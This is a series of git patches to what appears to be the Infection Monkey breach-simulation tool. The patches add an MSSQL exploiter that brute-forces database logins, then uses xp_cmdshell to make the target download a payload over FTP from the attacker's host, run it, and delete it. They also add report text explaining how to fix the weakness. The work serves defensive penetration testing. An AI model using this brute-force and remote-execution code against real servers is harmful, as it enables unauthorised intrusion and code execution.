From 149525d205e2b074d0891c706d05e56c690510da Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 26 Jun 2018 17:47:43 +0300 Subject: [PATCH 01/89] Added the MSSQLExploiter class The helper functions and utils are in mssqlexec_utils.py file Everything is documented and this commit is still WIP. * Added the class to the monkey's config file and example. * Added the class to the UI config. * Added the class import to __init__.py file --- infection_monkey/config.py | 4 +- infection_monkey/example.conf | 3 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/mssqlexec.py | 106 +++++++++++ infection_monkey/exploit/mssqlexec_utils.py | 200 ++++++++++++++++++++ infection_monkey/requirements.txt | 2 + monkey_island/cc/services/config.py | 8 + 7 files changed, 321 insertions(+), 3 deletions(-) create mode 100644 infection_monkey/exploit/mssqlexec.py create mode 100644 infection_monkey/exploit/mssqlexec_utils.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 96d6da9a9..8a18ab7d7 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter + SambaCryExploiter, ElasticGroovyExploiter, MSSQLExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -147,7 +147,7 @@ class Configuration(object): scanner_class = TcpScanner finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] - exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits + exploiter_classes = [SmbExploiter, WmiExploiter, MSSQLExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux ElasticGroovyExploiter, # multi ] diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index d8cf4b0ca..ef04e7f82 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -36,7 +36,8 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter" + "SambaCryExploiter", + "MSSQLExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index a05f5b079..338e098c2 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -41,3 +41,4 @@ from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter +from mssqlexec import MSSQLExploiter diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py new file mode 100644 index 000000000..41762d9ce --- /dev/null +++ b/infection_monkey/exploit/mssqlexec.py @@ -0,0 +1,106 @@ +from os import path +import logging +import pymssql + +import mssqlexec_utils +from exploit import HostExploiter + +__author__ = 'Maor Rayzin' + +LOG = logging.getLogger(__name__) + + +class MSSQLExploiter(HostExploiter): + + _TARGET_OS_TYPE = ['windows'] + LOGIN_TIMEOUT = 15 + SQL_DEFAULT_TCP_PORT = '1433' + DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat') + + def __init__(self, host): + super(MSSQLExploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.attacks_list = [mssqlexec_utils.CmdShellAttack] + + def exploit_host(self): + """ + Main function of the mssql brute force + Return: + True or False depends on process success + """ + username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, + self.DEFAULT_PAYLOAD_PATH): + LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) + return True + else: + LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + return False + + def handle_payload(self, cursor, payload): + + """ + Handles the process of payload sending and execution, prepares the attack and details. + + Args: + cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands. + payload (string): Payload path + + Return: + True or False depends on process success + """ + + chosen_attack = self.attacks_list[0](payload, cursor) + + if chosen_attack.send_payload(): + LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) + if chosen_attack.execute_payload(): + LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) + return True + else: + LOG.error("Payload: {0} couldn't be executed".format(payload)) + else: + LOG.error("Payload: {0} couldn't be sent to host".format(payload)) + + return False + + def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): + """ + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. + + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + payload (str): Local path to the payload + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ + # Main loop + # Iterates on users list + for user, password in users_passwords_pairs_list: + try: + # Core steps + # Trying to connect + conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) + LOG.info('Successfully connected to host: {0}, ' + 'using user: {1}, password: {2}'.format(host, user, password)) + cursor = conn.cursor() + + # Handles the payload and return True or False + if self.handle_payload(cursor, payload): + LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host)) + return True + else: + LOG.warning("user: {0} and password: {1}, " + "was able to connect to host: {2} but couldn't handle payload: {3}" + .format(user, password, host, payload)) + except pymssql.OperationalError: + # Combo didn't work, hopping to the next one + pass + + LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' + 'aborting brute force'.format(host, port)) + return False diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py new file mode 100644 index 000000000..c5d189076 --- /dev/null +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -0,0 +1,200 @@ + +import os +import multiprocessing +import logging +import socket + +import pymssql + +from pyftpdlib.authorizers import DummyAuthorizer +from pyftpdlib.handlers import FTPHandler +from pyftpdlib.servers import FTPServer + + +FTP_SERVER_PORT = 1026 +FTP_SERVER_ADDRESS = '' +FTP_SERVER_USER = 'brute' +FTP_SERVER_PASSWORD = 'force' +FTP_WORKING_DIR = '.' + + +class FTP: + + """Configures and establish an FTP server with default details. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + + """ + + def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + """Look at class level docstring.""" + + self.user = user + self.password = password + self.working_dir = working_dir + + def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + + """ Configures and runs the ftp server to listen forever until stopped. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + """ + + # Defining an authorizer and configuring the ftp user + authorizer = DummyAuthorizer() + authorizer.add_user(user, password, working_dir, perm='elradfmw') + + # Normal ftp handler + handler = FTPHandler + handler.authorizer = authorizer + + address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT) + + # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword + self.server = FTPServer(address, handler) + + # Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I + # multiproccess is being used here. + self.server.serve_forever() + + def stop_server(self): + # Stops the FTP server and closing all connections. + self.server.close_all() + + +class AttackHost(object): + """ + This class acts as an interface for the attacking methods class + + Args: + payload_path (str): The local path of the payload file + """ + + def __init__(self, payload_path): + self.payload_path = payload_path + + def send_payload(self): + raise NotImplementedError("Send function not implemented") + + def execute_payload(self): + raise NotImplementedError("execute function not implemented") + + +class CmdShellAttack(AttackHost): + + """ + This class uses the xp_cmdshell command execution and will work only if its available on the remote host. + + Args: + payload_path (str): The local path of the payload file + cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. + + """ + + def __init__(self, payload_path, cursor): + super(CmdShellAttack, self).__init__(payload_path) + self.ftp_server, self.ftp_server_p = self.__init_ftp_server() + self.cursor = cursor + self.attacker_ip = self.__find_own_ip() + + def send_payload(self): + """ + Sets up an FTP server and using it to download the payload to the remote host + + Return: + True if payload sent False if not. + """ + + # Sets up the cmds to run + shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ + echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) + shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) + + shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ + .format(self.payload_path) + shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ + shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4] + + # Checking to see if ftp server is up + if self.ftp_server_p and self.ftp_server: + + try: + # Running the cmd on remote host + for cmd in shellcmds: + self.cursor.execute(cmd) + except Exception, e: + logging.error('Error sending the payload using xp_cmdshell to host: {0}'.format(e.message)) + self.ftp_server_p.terminate() + return False + return True + else: + logging.error("Couldn't establish an FTP server for the dropout") + return False + + def execute_payload(self): + + """ + Executes the payload after ftp drop + + Return: + True if payload was executed successfully, False if not. + """ + + # Getting the payload's file name + payload_file_name = os.path.split(self.payload_path)[1] + + # Preparing the cmd to run on remote, using no_output so i can capture exit code: 0 -> success, 1 -> error. + shellcmd = """DECLARE @i INT \ + EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ + SELECT @i """.format(payload_file_name) + + try: + # Executing payload on remote host + logging.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) + self.cursor.execute(shellcmd) + if self.cursor.fetchall()[0][0] == 0: + # Success + self.ftp_server_p.terminate() + logging.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) + return True + else: + logging.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) + self.ftp_server_p.terminate() + return False + + except pymssql.OperationalError: + logging.error('Executing payload: {0} failed'.format(payload_file_name)) + self.ftp_server_p.terminate() + return False + + def __init_ftp_server(self): + """ + Init an FTP server using FTP class on a different process + + Return: + ftp_s: FTP server object + p: the process obj of the FTP object + """ + + try: + ftp_s = FTP() + multiprocessing.log_to_stderr(logging.DEBUG) + p = multiprocessing.Process(target=ftp_s.run_server) + p.start() + logging.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) + return ftp_s, p + except Exception, e: + logging.error('Exception raised while trying to pull up the ftp server: {0}'.format(e.message)) + return None, None + + def __find_own_ip(self): + ip_list = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")] + return ip_list[0] diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 8683987c4..3be45eb02 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -14,3 +14,5 @@ six ecdsa netifaces ipaddress +pymssql +pyftpdlib diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 2887bf5a3..8726428bd 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -38,6 +38,13 @@ SCHEMA = { ], "title": "WMI Exploiter" }, +{ + "type": "string", + "enum": [ + "MSSQLExploiter" + ], + "title": "MSSQL Exploiter" + }, { "type": "string", "enum": [ @@ -615,6 +622,7 @@ SCHEMA = { "default": [ "SmbExploiter", "WmiExploiter", + "MSSQLExploiter", "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", From b46810e02b9db7e4d211b2cb9426750e53c58161 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 27 Jun 2018 21:30:54 +0300 Subject: [PATCH 02/89] * Finalized the MS-SQL code * Changed the log to the right handle and added exceptions info. * better docs and some pep 8 --- infection_monkey/exploit/mssqlexec.py | 1 + infection_monkey/exploit/mssqlexec_utils.py | 24 +++++++++++-------- .../payloads/mssqlexec_payload.bat | 1 + 3 files changed, 16 insertions(+), 10 deletions(-) create mode 100644 infection_monkey/payloads/mssqlexec_payload.bat diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 41762d9ce..54207d009 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -1,5 +1,6 @@ from os import path import logging + import pymssql import mssqlexec_utils diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index c5d189076..13509f0f0 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -1,4 +1,3 @@ - import os import multiprocessing import logging @@ -11,12 +10,17 @@ from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer +__author__ = 'Maor Rayzin' + + FTP_SERVER_PORT = 1026 FTP_SERVER_ADDRESS = '' FTP_SERVER_USER = 'brute' FTP_SERVER_PASSWORD = 'force' FTP_WORKING_DIR = '.' +LOG = logging.getLogger(__name__) + class FTP: @@ -131,12 +135,12 @@ class CmdShellAttack(AttackHost): for cmd in shellcmds: self.cursor.execute(cmd) except Exception, e: - logging.error('Error sending the payload using xp_cmdshell to host: {0}'.format(e.message)) + LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) self.ftp_server_p.terminate() return False return True else: - logging.error("Couldn't establish an FTP server for the dropout") + LOG.error("Couldn't establish an FTP server for the dropout") return False def execute_payload(self): @@ -151,27 +155,27 @@ class CmdShellAttack(AttackHost): # Getting the payload's file name payload_file_name = os.path.split(self.payload_path)[1] - # Preparing the cmd to run on remote, using no_output so i can capture exit code: 0 -> success, 1 -> error. + # Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error. shellcmd = """DECLARE @i INT \ EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ SELECT @i """.format(payload_file_name) try: # Executing payload on remote host - logging.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) + LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) self.cursor.execute(shellcmd) if self.cursor.fetchall()[0][0] == 0: # Success self.ftp_server_p.terminate() - logging.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) + LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) return True else: - logging.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) + LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) self.ftp_server_p.terminate() return False except pymssql.OperationalError: - logging.error('Executing payload: {0} failed'.format(payload_file_name)) + LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) self.ftp_server_p.terminate() return False @@ -189,10 +193,10 @@ class CmdShellAttack(AttackHost): multiprocessing.log_to_stderr(logging.DEBUG) p = multiprocessing.Process(target=ftp_s.run_server) p.start() - logging.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) + LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) return ftp_s, p except Exception, e: - logging.error('Exception raised while trying to pull up the ftp server: {0}'.format(e.message)) + LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None def __find_own_ip(self): diff --git a/infection_monkey/payloads/mssqlexec_payload.bat b/infection_monkey/payloads/mssqlexec_payload.bat new file mode 100644 index 000000000..ce98c4b3e --- /dev/null +++ b/infection_monkey/payloads/mssqlexec_payload.bat @@ -0,0 +1 @@ +dir c:\>c:\tmp\dir.txt \ No newline at end of file From 80d6b327bc5122d921cc5e0ec62804f1ac9ca940 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 11:57:56 +0300 Subject: [PATCH 03/89] * Added MSSQL exploiter report frontend details. --- infection_monkey/exploit/mssqlexec.py | 1 + monkey_island/cc/services/report.py | 16 ++++++++++-- .../cc/ui/src/components/pages/ReportPage.js | 26 +++++++++++++++++-- 3 files changed, 39 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 54207d009..0fae16fe4 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -88,6 +88,7 @@ class MSSQLExploiter(HostExploiter): conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) LOG.info('Successfully connected to host: {0}, ' 'using user: {1}, password: {2}'.format(host, user, password)) + self.report_login_attempt(True, user, password) cursor = conn.cursor() # Handles the payload and return True or False diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 369b29c25..f3774804e 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -30,7 +30,8 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', - 'Struts2Exploiter': 'Struts2 Exploiter' + 'Struts2Exploiter': 'Struts2 Exploiter', + 'MSSQLExploiter': 'MSSQL Exploiter' } class ISSUES_DICT(Enum): @@ -43,6 +44,7 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + MSSQL = 9 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -298,6 +300,13 @@ class ReportService: processed_exploit['type'] = 'struts2' return processed_exploit + @staticmethod + def process_mssql_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'mssql' + return processed_exploit + + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -310,7 +319,8 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, - 'Struts2Exploiter': ReportService.process_struts2_exploit + 'Struts2Exploiter': ReportService.process_struts2_exploit, + 'MSSQLExploiter': ReportService.process_mssql_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -430,6 +440,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'] == 'struts2': issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True + elif issue['type'] == 'mssql': + issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 2a02a092d..49becf70e 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent { CONFICKER: 5, AZURE: 6, STOLEN_SSH_KEYS: 7, - STRUTS2: 8 + STRUTS2: 8, + MSSQL: 9 }; Warning = @@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • : null } + {this.state.report.overview.issues[this.Issue.MSSQL] ? +
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. ( + More Info.)
  • : null } : @@ -693,7 +698,21 @@ class ReportPageComponent extends AuthComponent { ); } - + generateMSSQLIssue(issue) { + return( +
  • + Disable the xp_cmdshell option. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. +
    + The attack was made possible because the target machine used an outdated MSSQL server configuration allowing + the usage of the xp_cmdshell command. +
    +
  • + ); + } generateIssue = (issue) => { let data; @@ -743,6 +762,9 @@ class ReportPageComponent extends AuthComponent { case 'struts2': data = this.generateStruts2Issue(issue); break; + case 'mssql': + data = this.generateMSSQLIssue(issue); + break; } return data; }; From aae9704cbb1d5da5ee78dc52fe52c7bfc28015d2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 12:45:14 +0300 Subject: [PATCH 04/89] * Changed the more info tab's location to the right place. --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 49becf70e..cffbdae3e 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -328,9 +328,7 @@ class ReportPageComponent extends AuthComponent { href="https://cwiki.apache.org/confluence/display/WW/S2-045"> CVE-2017-5638) : null } {this.state.report.overview.issues[this.Issue.MSSQL] ? -
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. ( - More Info.)
  • : null } +
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • : null } : @@ -705,10 +703,10 @@ class ReportPageComponent extends AuthComponent { The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. + className="label label-danger">MSSQL exploit attack attack.
    The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read Microsoft's documentation.
    ); From 2de474667d06501c495ba729a963171b2f4f5933 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 14:43:38 +0300 Subject: [PATCH 05/89] * Fixed a weird text alignment --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index cffbdae3e..4002f3251 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -703,10 +703,12 @@ class ReportPageComponent extends AuthComponent { The machine {issue.machine} ({issue.ip_address}) is vulnerable to a MSSQL exploit attack attack. + className="label label-danger">MSSQL exploit attack.
    The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. To learn more about how to disable this feature, read Microsoft's documentation. + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read + Microsoft's documentation.
    ); From 782ced912d438a14ce14be61d869366b2997cff2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 16:01:26 +0300 Subject: [PATCH 06/89] * Added a coverage for the force connection closing in the mssql fingerprinter. --- infection_monkey/network/mssql_fingerprint.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 9409c2255..fb7eb91a3 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -53,6 +53,15 @@ class MSSQLFinger(HostFinger): LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() return False + except socket.error as e: + if e.errno == socket.errno.ECONNRESET: + LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.' + .format(host)) + else: + LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.', + exc_info=True) + sock.close() + return False host.services[self.SERVICE_NAME] = {} From 9877b9499c037d1eada1a43be0d6f59457bc00bf Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 16:29:28 +0300 Subject: [PATCH 07/89] * Using get_interface_to_target function in order to retrieve right ip to use. * changed exception syntax to 'as' instead of ',' * added Object to the FTP class --- infection_monkey/exploit/mssqlexec.py | 2 +- infection_monkey/exploit/mssqlexec_utils.py | 11 ++++++----- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 0fae16fe4..6f920a073 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -51,7 +51,7 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ - chosen_attack = self.attacks_list[0](payload, cursor) + chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr) if chosen_attack.send_payload(): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index 13509f0f0..c3666a340 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -5,6 +5,7 @@ import socket import pymssql +from exploit.tools import get_interface_to_target from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer @@ -22,7 +23,7 @@ FTP_WORKING_DIR = '.' LOG = logging.getLogger(__name__) -class FTP: +class FTP(object): """Configures and establish an FTP server with default details. @@ -103,11 +104,11 @@ class CmdShellAttack(AttackHost): """ - def __init__(self, payload_path, cursor): + def __init__(self, payload_path, cursor, dst_ip_address): super(CmdShellAttack, self).__init__(payload_path) self.ftp_server, self.ftp_server_p = self.__init_ftp_server() self.cursor = cursor - self.attacker_ip = self.__find_own_ip() + self.attacker_ip = get_interface_to_target(dst_ip_address) def send_payload(self): """ @@ -134,7 +135,7 @@ class CmdShellAttack(AttackHost): # Running the cmd on remote host for cmd in shellcmds: self.cursor.execute(cmd) - except Exception, e: + except Exception as e: LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) self.ftp_server_p.terminate() return False @@ -195,7 +196,7 @@ class CmdShellAttack(AttackHost): p.start() LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) return ftp_s, p - except Exception, e: + except Exception as e: LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None From f2d17bcedcc2dc0bca4975160b8c3a2ab687b53a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 17 Jul 2018 18:48:58 +0300 Subject: [PATCH 08/89] * Added a cleanup function to attack's files --- infection_monkey/exploit/mssqlexec.py | 2 ++ infection_monkey/exploit/mssqlexec_utils.py | 19 ++++++++++++++----- 2 files changed, 16 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 6f920a073..44748731b 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -57,12 +57,14 @@ class MSSQLExploiter(HostExploiter): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) if chosen_attack.execute_payload(): LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) + chosen_attack.cleanup_files() return True else: LOG.error("Payload: {0} couldn't be executed".format(payload)) else: LOG.error("Payload: {0} couldn't be sent to host".format(payload)) + chosen_attack.cleanup_files() return False def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index c3666a340..2089047bb 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -1,7 +1,6 @@ import os import multiprocessing import logging -import socket import pymssql @@ -180,6 +179,20 @@ class CmdShellAttack(AttackHost): self.ftp_server_p.terminate() return False + def cleanup_files(self): + """ + Cleans up the folder with the attack related files (C:\\tmp by default) + :return: True or False if command executed or not. + """ + cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """ + try: + self.cursor.execute(cleanup_command) + LOG.info('Attack files cleanup command has been sent.') + return True + except Exception as e: + LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) + return False + def __init_ftp_server(self): """ Init an FTP server using FTP class on a different process @@ -199,7 +212,3 @@ class CmdShellAttack(AttackHost): except Exception as e: LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None - - def __find_own_ip(self): - ip_list = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")] - return ip_list[0] From 77610d499435fe3f2879ec8d42fee7ee8e57a54d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 18 Jul 2018 13:26:31 +0300 Subject: [PATCH 09/89] * WIP changing the payload static file to be written on runtime --- infection_monkey/exploit/mssqlexec.py | 2 +- infection_monkey/payloads/mssqlexec_payload.bat | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) delete mode 100644 infection_monkey/payloads/mssqlexec_payload.bat diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 44748731b..590741428 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -16,7 +16,7 @@ class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat') + DEFAULT_PAYLOAD_PATH = path.abspath(r'.monkey_utils\payloads\mssqlexec_payload.bat') def __init__(self, host): super(MSSQLExploiter, self).__init__(host) diff --git a/infection_monkey/payloads/mssqlexec_payload.bat b/infection_monkey/payloads/mssqlexec_payload.bat deleted file mode 100644 index ce98c4b3e..000000000 --- a/infection_monkey/payloads/mssqlexec_payload.bat +++ /dev/null @@ -1 +0,0 @@ -dir c:\>c:\tmp\dir.txt \ No newline at end of file From 5c9e8dc6d05b1512e0e015a0f601c55cab32c45b Mon Sep 17 00:00:00 2001 From: "maor.rayzin" 